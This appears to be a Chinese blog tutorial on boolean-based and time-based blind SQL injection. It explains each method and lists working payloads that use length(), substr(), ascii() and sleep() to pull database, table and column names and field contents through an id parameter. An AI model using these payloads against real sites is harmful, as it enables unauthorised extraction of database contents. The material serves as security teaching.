sql注入--bool盲注,时间盲注

盲注定义:

有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。

布尔盲注:

布尔盲注只有true跟false,也就是说它根据你的注入信息返回true和false两个,而不是返回报错信息

时间盲注:

页面返回只有一种,true,不管输入任何信息,返回信息都会按照正常来处理,加入特定的时间函数,通过查看web页面返回的时间差来查看是否存在时间盲注或语句是否正确

布尔盲注常用

length() 函数 返回字符串的长度
?id=1 and length(database())>1

substr() 截取字符串 , 从第一位截取一个
?id=1 and substr(database(),1,1)='k'

ord()/ascii() 返回字符的ascii码  
?id=1 and ord(substr(database(),1,1))=107

布尔型盲注过程

猜解当前数据库名称长度:
and (length(database()))>9#
猜解当前数据库名称:
and (ascii(substr(database(),1,1)))=107 返回正常,说明数据库名称第一位是k
and (ascii(substr(database(),1,1)))=107 返回正常,说明数据库名称第一位是k
猜表名:
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 返回正常,说明当前数据库第一个表长度是6
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 返回正常,说明当前数据库第一个表长度是6
猜字段名:

and substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1)='i' 返回正常,说明表中的列名称第一位是i
猜字段内容:

and (ascii(substr(( select '字段名' from ‘表名’ limit 0,1),1,1)))=111

时间型常用

sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句

如果第一个语句正确就执行第二个语句如果错误执行第三个语句
?id=1' and If(length(database())=8,0,sleep(5))--

上一篇:Pointofix 1.7 Portable试用


下一篇:洛谷 P3732 [HAOI2017]供给侧改革【trie树】